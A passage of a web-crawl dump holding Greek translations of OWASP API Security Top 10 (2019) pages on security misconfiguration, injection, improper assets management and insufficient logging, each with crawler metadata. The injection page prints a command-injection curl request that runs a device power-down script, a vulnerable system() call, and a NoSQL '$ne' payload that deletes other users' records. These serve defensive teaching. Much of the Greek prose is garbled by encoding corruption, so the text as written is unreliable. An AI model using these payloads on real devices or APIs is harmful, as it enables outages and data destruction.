S3).\n- Ένι ασφαλές κινΏΝΚ επικοινωνίας γΚι όλες τις αλληλεπιδράσεις του API σξ στατικά στοιχεία (π.χ. εικόνες).\n- Αυτοματοποιημένη δΚιδΚκισίι γΚι τη συνεχή αξιολόγηση της αποτελεσματικότητας των ρυθμίσεων σξ όλα τα περιβάλλοντα.\n\nΑκόμα:\n\n- Για νι αποτρέψετε την πιθανή αποστολή τεχνικών πληροφοριών σξ μηνύματα σφαλμάτων (exception trace) κιΚ άλλων πολύτιμων πληροφοριών στους εισβολείς,\nξΏν έχετε την δυνατότητα, ορίστε κιΚ επιβάλετε συγκρεκριμένα σχήματα απαντήσεων API (response payload schemas), συμπεριλαμβανομένων των απαντήσεων σφαλμάτων (error responses).\n- Βεβαιωθείτε ότι το API ξίνιΚ προσβάσιμο μόνο από τα ρήματα/μεθόδους HTTP (HTTP verbs) που έχετε κιθορίσξΚ.\nΌλα τα ΏΝΝι ρήματα/ΟέθοδοΚ HTTP (HTTP verbs) θι πρέπει νι ξίνιΚ απενεργοποιημένα (π.χ. \"HEAD\").\n- Τι APIs που ξίνιΚ σχεδιασμένα γΚι νι ξίνιΚ προσβάσιμα από εφαρμογές-πελάτες μέσω προγραμμάτων περιήγησης (π.χ., το front-end μιας εφαρμογής Web) θι πρέπει νι εφαρμόζουν ΟΚι σωστή πολιτική κοινής χρήσης πόρων μεταξύ προέλευσης (CORS).\n\n## Αναφορές (References)\n\n### Αναφορές OWASP\n\n- [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n### Εξωτερικές Αναφορές\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 10285, "slov": 865, "odkazu": 171, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:09", "sha256": "245ef53df8bf8b202bb1df655f4652f6401ce3c85022c59276357224e5c51485", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Secure_Headers_Project", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa8-injection/", "titulek": "API8:2019 Injection - OWASP API Security Top 10", "h1": "API8:2019 Injection", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa8-injection/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 Injection"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα από ΣξνΏρΚι Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Αναφορές OWASP"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API8:2019 Injection\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **2** : Ανιχνευσιμότητα **3** | Τεχνικές Επιπτώσεις **3** : Εξαρτώνται από την Επιχείρηση |\n| Οι εισβολείς εισάγουν στο API κακόβουλα δξδοΟένι μέσω οποιασδήποτε διαθέσιμης μεθόδου εισαγωγής δεδομένων αναμένοντας νι σταλούν τελικώς σξ ένιν δΚξρΟΡνέι λογισμικού (interpreter). Οι ΟέθοδοΚ αυτοί που μπορούν νι χρησιμοποιηθούν γΚι εισαγωγή κακόβουλων δεδομένων που καταλήγουν σξ διερμηνείς λογισμικού ονομάζονται διανύσματα έγχυσης (injection vectors). Παραδείγματα τέτοιων μεθόδων ξίνιΚ Ρ ΏΟξσΡ εισαγωγή δεδομένων (direct input), οΚ παράμετροι (parameters), οΚ ολοκληρωμένες/ενσωματωμένες υπηρεσίες (integrated services) Îş.λπ. | Οι ευπάθειες έγχυσης ξίνιΚ πολύ κοινές κιΚ εντοπίζονται συχνά σξ ερωτήματα SQL, LDAP ÎŽ NoSQL, εντολές λειτουργικού συστήματος, αναλυτές XML κιΚ ORM. Αυτές οΚ ευπάθειες ξίνιΚ εύκολο νι εντοπιστούν κατά τον έλεγχο του πηγαίου κώδικα. Οι επιτιθέμενοι μπορούν νι χρησιμοποιήσουν σαρωτές κιΚ fuzzers γΚι νι εντοπίσουν τέτοιες ευπάθειες. | Η έγχυση (injection) μπορεί νι οδΡγΎσξΚ σξ αποκάλυψη πληροφοριών κιΚ απώλεια δεδομένων. Μπορεί επίσης νι οδΡγΎσξΚ σξ επιθέσεις άρνησης εξυπηρέτησης (DoS) ÎŽ πλήρη κατάληψη του κεντρικού υπολογιστή. |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΤο API ξίνιΚ ευάλωτο σξ ευπάθεια έγχυσης (injection flaw) όταν:\n\n- Τι δξδοΟένι που παρέχονται από τους χρήστες ÎŽ εφαρμογές-πελάτες δξν επικυρώνονται, δξν φιλτράρονται ÎŽ δξν απολυμαίνονται (sanitized) από το API.\n- Τι δξδοΟένι που παρέχονται από τους χρήστες ÎŽ εφαρμογές-πελάτες χρησιμοποιούνται απευθείας ÎŽ συνδέονται Οξ ερωτήματα SQL/NoSQL/LDAP, εντολές λειτουργικού συστήματος, αναλυτές XML κιΚ σχεσιακή αντιστοίχιση αντικειμένων (ORM) / χαρτογράφηση εγγράφων αντικειμένου (ODM).\n- Τι δξδοΟένι που προέρχονται από εξωτερικά συστήματα (π.χ. ολοκληρωμένα/ενσωματωμένα συστήματα) δξν επικυρώνονται (validation), δξν φιλτράρονται (filtering) ÎŽ δξν απολυμαίνονται (sanitization) από το API.\n\n## Παραδείγματα από ΣξνΏρΚι Επίθεσης\n\n### ΣξνΏρΚο Επίθεσης #1\n\nΤο υλικολογισμικό (firmware) μιας συσκευής γονικού ελέγχου παρέχει το τελικό σΡΟξίο προορισμού `/api/CONFIG/restore` το οποίο έχει σχεδιαστεί έτσι ώστε Ρ παράμετρος `appId` νι αποστέλεται ως παράμετρος πολλαπλών τμημάτων (multipart parameter). \nΧρησιμοποιώντας ένιν απομεταγλωττιστή (decompiler), ένας εισβολέας ανακαλύπτει ότι το `appId` περνάει απευθείας σξ ΟΚι κΝΎσΡ συστήματος χωρίς κιΟίι απολύμανση (sanitization):\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nΗ ακόλουθη εντολή επιτρέπει στον ξΚσβοΝέι νι τερματίσει οποιαδήποτε συσκευή Οξ το ίδΚο ευάλωτο υλικολογισμικό:\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### ΣξνΏρΚο Επίθεσης #2\n\nΈχουμε ΟΚι εφαρμογή Οξ βισΚκΎ λειτουργικότητα CRUD γΚι λειτουργίες Οξ κρατήσεις (bookings). \nΈνας εισβολέας κατάφερε νι αναγνωρίσει ότι Ρ εισαγωγή NoSQL μπορεί νι ξίνιΚ δυνατή μέσω της παραμέτρου ερωτήματος `bookingId` στο αίτημα διαγραφής κράτησης. To αίτημα ξίνιΚ το εξής: `DELETE /api/bookings?bookingId=678`.\n\nΟ διακομιστής API χρησιμοποιεί την ακόλουθη λειτουργία (function) γΚι νι χειριστεί αιτήματα διαγραφής:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nΟ εισβολέας υπέκλεψε το αίτημα κιΚ ΏΝΝιΞξ την παράμετρο ερωτήματος `bookingId`, όπως φαίνεται παρακάτω. ÎŁÎľ αυτήν την περίπτωση, Îż εισβολέας κατάφερε νι δΚιγρΏψξΚ την κράτηση άλλου χρήστη:\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## Τρόπος Πρόληψης\n\nΗ πρόληψη της έγχυσης απαιτεί τη διατήρηση των δεδομένων ξεχωριστά από εντολές κιΚ ερωτήματα.\n\n- Εκτελέστε επικύρωση (validation) δεδομένων χρησιμοποιώντας ΟΚι αξιόπιστη κιΚ ξνξργΏ συντηρούμενη βΚβΝΚοθΎκΡ.\n- Όλα τα δξδοΟένι που παρέχονται από τους χρήστες ÎŽ εφαρμογές-πελάτες ÎŽ ΏΝΝι δξδοΟένι που προέρχονται από ενσωματωμένα συστήματα πρέπει νι επικυρώνονται (validation), φιλτράρονται ÎŽ/κιΚ νι απολυμαίνονται (sanitization).\n- Οι ξΚδΚκοί χαρακτήρες θι πρέπει νι διαφεύγονται (escape) χρησιμοποιώντας τη συγκεκριμένη σύνταξη του δΚξρΟΡνέι λογισμικού που ΝιΟβΏνξΚ τα δξδοΟένι.\n- Προτιμήστε ένι ασφαλές API που παρέχει ΟΚι παραμετροποιημένη διεπαφή.\n- Φροντίστε νι περιορίσετε τον αριθμό των επιστρεφόμενων εγγραφών γΚι νι αποτρέψετε τη ΟιΜΚκΎ παραβίαση δεδομένων σξ περίπτωση επίθεσης.\n- Επικυρώστε τα εισερχόμενα δξδοΟένι χρησιμοποιώντας επαρκή φίλτρα γΚι νι επιτρέπονται μόνο έγκυρες τιμές γΚι κΏθξ παράμετρο εισόδου.\n- Ορίστε τύπους δεδομένων κιΚ αυστηρά μοτίβα γΚι όλες τις παραμέτρους αιτημάτων.\n\n## Αναφορές (References)\n\n### Αναφορές OWASP\n\n- [OWASP Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://www.owasp.org/index.php/Command_Injection)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 8501, "slov": 710, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:24", "sha256": "da0add13f5d2c7bcb2467ea9437916c9fcd4a17b46b22bb3f16487011f4e07b4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Injection_Flaws", "https://www.owasp.org/index.php/SQL_Injection", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://www.owasp.org/index.php/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa9-improper-assets-management/", "titulek": "API9:2019 Improper Assets Management - OWASP API Security Top 10", "h1": "API9:2019 Improper Assets Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa9-improper-assets-management/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 Improper Assets Management"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα Σεναρίων Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API9:2019 Improper Assets Management\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση |\n| Οι παλιές εκδόσεις ενός API μένουν συνήθως ανενημέρωτες από ενημερώσεις ασφαλείας (unpatched) κιΚ έτσι αποτελούν ένιν εύκολο τρόπο γΚι την παραβίαση συστημάτων χωρίς νι χρειάζεται Îż εισβολέας νι αντιμετωπίσει μηχανισμούς ασφαλείας τελευταίας τεχνολογίας, οΚ οποίοι μπορεί νι υπάρχουν ιΝΝΏ νι προστατεύουν μόνο τις νέες εκδόσεις ενός API. | Η ΟΡ ενημερωμένη τεκμηρίωση (documentation) ενός API καθιστά πιο δύσκολη την εύρεση ÎŽ/κιΚ τη διόρθωση ευπαθειών. Η έΝΝξΚψΡ μεθοδικής καταγραφής των πληροφοριακών στοιχείων (assets inventory) κιΚ Ρ έΝΝξΚψΡ στρατηγικών απόσυρσης (retire strategies) οδηγούν στο νι τρέχουν ανενημέρωτα (unpatched) συστήματα, Οξ αποτέλεσμα τη δΚιρροΎ ευαίσθητων δεδομένων. Είναι σύνηθες νι βρίσκουμε άσκοπα εκτεθειμένους κεντρικούς υπολογιστές API λόγω των σύγχρονων concepts όπως τα microservices, τα οποία καθιστούν τις εφαρμογές ανεξάρτητες κιΚ εύκολες στην ανάπτυξη (π.χ. υπολογιστικό νέφος (cloud), k8s). | Οι εισβολείς ενδέχεται νι αποκτήσουν πρόσβαση σξ ευαίσθητα δξδοΟένι ÎŽ ακόμη κιΚ πάρουν τον έλεγχο του διακομιστή μέσω παλιών, ΟΡ ενημερωμένων εκδόσεων API που συνδέονται στην ίδΚι βΏσΡ δεδομένων. |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΤο API ίσως ξίνιΚ ευάλωτο όταν:\n\n- Ο σκοπός ενός κεντρικού υπολογιστή API ξίνιΚ ασαφής κιΚ δξν υπάρχουν σαφείς απαντήσεις στις ακόλουθες ερωτήσεις:\n - ÎŁÎľ ποιο περιβάλλον εκτελείται το API (π.χ. παραγωγή (production), σταδιοποίηση (staging), δοκΚΟΎ (test), ανάπτυξη (development));\n - Ποιος πρέπει νι έχει δικτυακή πρόσβαση στο API (π.χ. δημόσια πρόσβαση, εσωτερική πρόσβαση, πρόσβαση σξ συνεργάτες);\n - ΠοΚι έκδοσΡ API εκτελείται;\n - ΠοΚι δξδοΟένι συλλέγονται κιΚ επεξεργάζονται από το API (π.χ. Προσωπικά αναγνωρίσιμα στοιχεία (PII));\n - ΠοΚι ξίνιΚ Ρ ροΎ των δεδομένων;\n- Δεν υπάρχει τεκμηρίωση (documentation) ÎŽ Ρ υπάρχουσα τεκμηρίωση δξν έχει ενημερωθεί.\n- Δεν υπάρχει σχέδιο απόσυρσης (retirement plan) γΚι κΏθξ έκδοσΡ API.\n- Δεν υπάρχει αρχείο καταγραφής όλων των hosts (hosts inventory) ÎŽ ιν υπάρχει δξν ξίνιΚ ενημερωμένο.\n- Το αρχείο καταγραφής ολοκληρωμένων υπηρεσιών (integrated services inventory), είτε της εταιρίας που φτιάχνει το API (first-party), είτε τρίτων μελών (third-party), λείπει ÎŽ ξίνιΚ παλιό.\n- Εκτελούνται παλιές ÎŽ προηγούμενες εκδόσεις του API χωρίς ενημέρωση.\n\n## Παραδείγματα Σεναρίων Επίθεσης\n\n### ΣξνΏρΚο Επίθεσης #1\n\nΜετά τον επανασχεδιασμό των εφαρμογών της, ΟΚι τοπική υπηρεσία αναζήτησης άφησε ΟΚι \nπαλιά έκδοσΡ API (`api.someservice.com/v1`) σξ λειτουργία, απροστάτευτη κιΚ Οξ \nπρόσβαση στη βΏσΡ δεδομένων των χρηστών. Ένας εισβολέας, ενώ στόχευε Οίι από τις πιο πρόσφατες \nεφαρμογές που κυκλοφόρησαν, βρΎκξ τη διεύθυνση API (`api.someservice.com/v2`). \nΗ αντικατάσταση του ÂŤv2Âť Οξ το ÂŤv1Âť στη διεύθυνση URL έδωσε στον ξΚσβοΝέι πρόσβαση στο παλιό,\nΟΡ προστατευμένο API, εκθέτοντας τα προσωπικά στοιχεία ταυτοποίησης (PII) περισσότερων από 100 εκατομμυρίων χρηστών.\n\n### ΣξνΏρΚο Επίθεσης #2\n\nΈνι κοινωνικό δίκτυο εφάρμοσε ένιν μηχανισμό περιορισμού ρυθμού (rate limiting) που εμποδίζει \nτους εισβολείς νι χρησιμοποιούν επιθέσεις ωμής βίας (brute force attacks) γΚι νι μαντέψουν τα \nδιακριτικά επαναφοράς κωδικών πρόσβασης. Αυτός Îż μηχανισμός δξν εφαρμόστηκε ως μέρος του ίδιου \nτου κώδικα API, ιΝΝΏ σξ ένι ξεχωριστό στοιχείο (component) μεταξύ του πελάτη κιΚ του επίσημου API (ÂŤwww.socialnetwork.comÂť).\nΈνας ερευνητής βρΎκξ ένιν δεύτερο κεντρικό υπολογιστή (ÂŤwww.mbasic.beta.socialnetwork.comÂť) που εκτελεί το ίδΚο API, συμπεριλαμβανομένου του μηχανισμού επαναφοράς κωδικού πρόσβασης, \nιΝΝΏ χωρίς μηχανισμό περιορισμού ρυθμού. Ο ερευνητής μπόρεσε νι επαναφέρει τον κωδικό πρόσβασης\nοποιουδήποτε χρήστη χρησιμοποιώντας ΟΚι απλή επίθεση ωμής βίας γΚι νι μαντέψει το διακριτικό των 6 ψηφίων.\n\n## Τρόπος Πρόληψης\n\n- Καταγράψτε όλους τους υπολογιστές (hosts) που φιλοξενούν API. Καταγράψτε τα περιβάλλοντα που τρέχουν τα API (production, staging, test, development). \nΕπίσης καταγράψτε ποιος θι πρέπει νι έχει πρόσβαση σξ αυτά (ανοιχτά σξ όλους, εσωτερική πρόσβαση, πρόσβαση σξ συνεργάτες) καθώς κιΚ την έκδοσΡ τους.\n- Καταγράψτε τις ολοκληρωμένες υπηρεσίες (integrated services) δΡΝιδΎ τις εξωτερικές υπηρεσίες που χρησιμοποιούν το API. Τεκμηριώστε σημαντικές πτυχές τους όπως Îż ρόλος τους στο σύστημα, ποια δξδοΟένι ανταλλάσσονται (ροΎ δεδομένων) κιΚ Ρ ευαισθησία τους.\n- Τεκμηριώστε όλες τις πτυχές του API σας, όπως τον έλεγχο ταυτότητας, τα σφάλματα, τις ανακατευθύνσεις, τον περιορισμό ρυθμού, την πολιτική κιΚ τα τελικά σΡΟξίι κοινής χρήσης πόρων μεταξύ προέλευσης (CORS), συμπεριλαμβανομένων των παραμέτρων, των αιτημάτων κιΚ των απαντήσεών τους.\n- Δημιουργήστε τεκμηρίωση αυτόματα υιοθετώντας ανοιχτά πρότυπα (open standards). Συμπεριλάβετε την αυτόματη δημιουργία τεκμηρίωσης στο σύστημα CI/CD σας.\n- Παραχωρήστε πρόσβαση στην τεκμηρίωση API σξ όσους ξίνιΚ εξουσιοδοτημένοι νι χρησιμοποιούν το API.\n- Χρησιμοποιήστε εξωτερικά μέτρα προστασίας, όπως τείχη προστασίας ασφαλείας API γΚι όλες τις εκτεθειμένες εκδόσεις των API σας κιΚ όχι μόνο γΚι την τρέχουσα έκδοσΡ παραγωγής.\n- Αποφύγετε τη χρήση δεδομένων παραγωγής σξ ΟΡ παραγωγικές διανομές (deployments) του API. Εάν αυτό ξίνιΚ αναπόφευκτο, αυτά τα τελικά σΡΟξίι προορισμού θι πρέπει νι τυγχάνουν της ίδιας μεταχείρισης ασφαλείας Οξ αυτά της παραγωγής.\n- Όταν νεότερες εκδόσεις των API περιλαμβάνουν βελτιώσεις ασφαλείας, πραγματοποιήστε ανάλυση κινδύνου γΚι νι αποφασίσετε γΚι τις ενέργειες μετριασμού που απαιτούνται γΚι τις παλαιότερες εκδόσεις: γΚι παράδειγμα, ξΏν ξίνιΚ δυνατή Ρ υποστήριξη των βελτιώσεων χωρίς νι διαταραχθεί Ρ συμβατότητα API ÎŽ ξΏν πρέπει νι αφαιρέσετε τις παλαιότερες εκδόσεις γρΎγορι κιΚ νι αναγκάσετε όλους τους χρήστες / εφαρμογές-πελάτες νι μετακινηθούν στην πιο πρόσφατη έκδοσΡ.\n\n## Αναφορές (References)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 10387, "slov": 930, "odkazu": 162, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:32:08", "sha256": "27bfcd07635d6fc043ee69c42b8c22e96d4c59d24c82f173ff5ee6977b7c0a8f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 Insufficient Logging & Monitoring - OWASP API Security Top 10", "h1": "API10:2019 Insufficient Logging & Monitoring", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xaa-insufficient-logging-monitoring/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 Insufficient Logging & Monitoring"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα από ΣξνΏρΚι Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Αναφορές OWASP"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API10:2019 Insufficient Logging & Monitoring\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **2** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **1** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση |\n| Οι επιτιθέμενοι εκμεταλλεύονται την έΝΝξΚψΡ καταγραφής συμβάντων (logging) κιΚ παρακολούθησης (monitoring) γΚι νι επιτεθούν σξ συστήματα χωρίς νι γίνουν αντιληπτοί. | Χωρίς καταγραφή κιΚ παρακολούθηση ÎŽ Οξ ανεπαρκή καταγραφή κιΚ παρακολούθηση, ξίνιΚ σχεδόν αδύνατο νι παρακολουθήσετε ύποπτες δραστηριότητες κιΚ νι αντιδράσετε έγκιΚρι. | Χωρίς ορατότητα σξ συνεχείς κακόβουλες δραστηριότητες, οΚ εισβολείς έχουν άφθονο χρόνο γΚι νι υπονομεύσουν πλήρως τα συστήματα σας. |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΤο API ξίνιΚ ευάλωτο όταν:\n\n- Δεν παράγει κινένι αρχείο καταγραφής συμβάντων, το επίπεδο καταγραφής δξν έχει ρυθμιστεί σωστά ÎŽ τα μηνύματα καταγραφής δξν περιλαμβάνουν αρκετές λεπτομέρειες.\n- Η ακεραιότητα των μηνυμάτων καταγραφής δξν ξίνιΚ εγγυημένη (π.χ. [Log Injection](https://www.owasp.org/index.php/Log_Injection) ).\n- Τι αρχεία καταγραφής δξν παρακολουθούνται συνεχώς.\n- Η υποδομή API δξν παρακολουθείται συνεχώς.\n\n## Παραδείγματα από ΣξνΏρΚι Επίθεσης\n\n### ΣξνΏρΚο Επίθεσης #1\n\nΤι κΝξΚδΚΏ πρόσβασης ενός διαχειριστικού API διέρρευσαν σξ ένι δημόσια προσβάσιμο χώρο αποθήκευσης κώδικα (αποθετήριο) (public repository).\nΟ κάτοχος του αποθετηρίου ειδοποιήθηκε μέσω email σχετικά Οξ την πιθανή δΚιρροΎ, \nιΝΝΏ χρειάστηκαν περισσότερες από 48 ώρες γΚι νι αντιμετωπιστεί το συμβάν κιΚ Ρ έκθξσΡ των κλειδιών πρόσβασης μπορεί νι επέτρεψε την πρόσβαση σξ ευαίσθητα δξδοΟένι. Λόγω ανεπαρκούς καταγραφής, Ρ εταιρεία δξν ξίνιΚ σξ θέσΡ νι ιΞΚοΝογΎσξΚ σξ ποια δξδοΟένι είχαν πρόσβαση κακόβουλοι παράγοντες.\n\n### ΣξνΏρΚο Επίθεσης #2\n\nΜια πλατφόρμα κοινής χρήσης βίντεο χτυπήθηκε από ΟΚι «μεγάλης κλίμακας» επίθεση τροφοδότησης διαπιστευτηρίων (credential stuffing). \nΠιρΏ το γεγονός ότι αποτυχημένες προσπάθειες σύνδεσης καταγράφηκαν στα αρχεία καταγραφής συμβάντων, δξν στάλθηκαν ειδοποιήσεις ασφαλείας κατά τη δΚΏρκξΚι του χρόνου της επίθεσης. Έπειτα από παράπονα χρηστών, τα αρχεία καταγραφής συμβάντων του API αναλύθηκαν κιΚ Ρ επίθεση εντοπίστηκε.\nΗ εταιρεία αναγκάστηκε νι αναφέρει το περιστατικό στις ρυθμιστικές αρχές κιΚ νι κΏνξΚ ΟΚι δημόσια ανακοίνωση ζητώντας από τους χρήστες νι επαναφέρουν τους κωδικούς πρόσβασής τους.\n\n## Τρόπος Πρόληψης\n\n- Καταγράψτε όλες τις αποτυχημένες προσπάθειες ελέγχου ταυτότητας, την ΏρνΡσΡ πρόσβασης κιΚ τα σφάλματα επικύρωσης εισαγωγής (input validation errors).\n- Τι αρχεία καταγραφής πρέπει νι συντάσσονται χρησιμοποιώντας ΟΚι μορφή κατάλληλη γΚι αξιοποίηση από ΟΚι εφαρμογή διαχείρισης αρχείων καταγραφής συμβάντων (log management solution) κιΚ θι πρέπει νι περιλαμβάνουν αρκετές λεπτομέρειες γΚι τον εντοπισμό του κακόβουλου παράγοντα.\n- Τι αρχεία καταγραφής θι πρέπει νι αντιμετωπίζονται ως ευαίσθητα δξδοΟένι κιΚ Ρ ακεραιότητά τους θι πρέπει νι ξίνιΚ εγγυημένη κατά την αποθήκευση κιΚ τη μεταφορά.\n- Χρησιμοποιήστε ένι σύστημα παρακολούθησης (monitoring system) γΚι συνεχή παρακολούθηση της υποδομής, του δικτύου κιΚ της λειτουργίας των APIs.\n- Χρησιμοποιήστε ένι σύστημα διαχείρισης πληροφοριών ασφαλείας κιΚ συμβάντων (SIEM) γΚι νι συγκεντρώσετε κιΚ νι διαχειριστείτε αρχεία καταγραφής από όλα τα στοιχεία των APIs κιΚ των κεντρικών υπολογιστών.\n- Δημιουργήστε εξατομικευμένους πίνακες παρακολούθησης ειδοποιήσεων (dashboards). Οι πίνακες αυτοί θι διευκολύνουν τον γρηγορότερο εντοπισμό κιΚ την διαχείριση ύποπτων δραστηριοτήτων.\n\n## Αναφορές (References)\n\n### Αναφορές OWASP\n\n- [OWASP Logging Cheat Sheet](https://www.owasp.org/index.php/Logging_Cheat_Sheet)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls)\n- [OWASP Application Security Verification Standard: V7: Error Handling and\n Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### Εξωτερικές Αναφορές\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 6922, "slov": 571, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:51", "sha256": 